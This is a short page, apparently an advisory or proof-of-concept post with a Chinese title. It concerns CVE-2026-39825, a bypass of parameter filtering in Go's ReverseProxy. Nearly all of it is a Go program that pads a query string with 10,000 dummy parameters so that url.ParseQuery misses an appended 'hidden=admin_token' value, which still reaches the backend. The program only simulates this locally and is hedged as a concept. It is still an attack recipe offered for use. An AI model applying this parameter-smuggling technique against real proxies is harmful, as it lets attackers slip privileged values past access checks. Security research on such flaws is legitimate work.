CVE-2026-39825 Go ReverseProxy参数过滤绕过漏洞

// PoC Concept for CVE-2026-39825 // This Go code demonstrates how to construct a payload that bypasses Rewrite checks. package main import ( "fmt" "net/url" "strings" ) func main() { // 1. Construct a payload with a large number of parameters to exceed GODEBUG=urlmaxqueryparams var paramsBuilder strings.Builder limit := 10000 // Assuming the limit is lower than this for i := 0; i < limit; i++ { paramsBuilder.WriteString(fmt.Sprintf("param%d=value&", i)) } // 2. Append the malicious parameter that should be hidden from the Rewrite function maliciousPayload := paramsBuilder.String() + "hidden=admin_token" fmt.Println("Constructed Payload:") fmt.Println(maliciousPayload[:100] + "...") // Print snippet // 3. Simulate what the Rewrite function sees (using url.ParseQuery) // If the limit is hit, ParseQuery might stop or error out, missing 'hidden' values, err := url.ParseQuery(maliciousPayload) if err != nil { fmt.Println("\n[Rewrite Function View] ParseQuery Error (as expected):", err) fmt.Println("Rewrite function might fail to parse 'hidden' parameter.") } else { if _, exists := values["hidden"]; !exists { fmt.Println("\n[Rewrite Function View] 'hidden' parameter NOT found (Bypass Successful)") } } // 4. The Backend receives the raw maliciousPayload string directly fmt.Println("\n[Backend View] Receives raw URL with 'hidden=admin_token'") }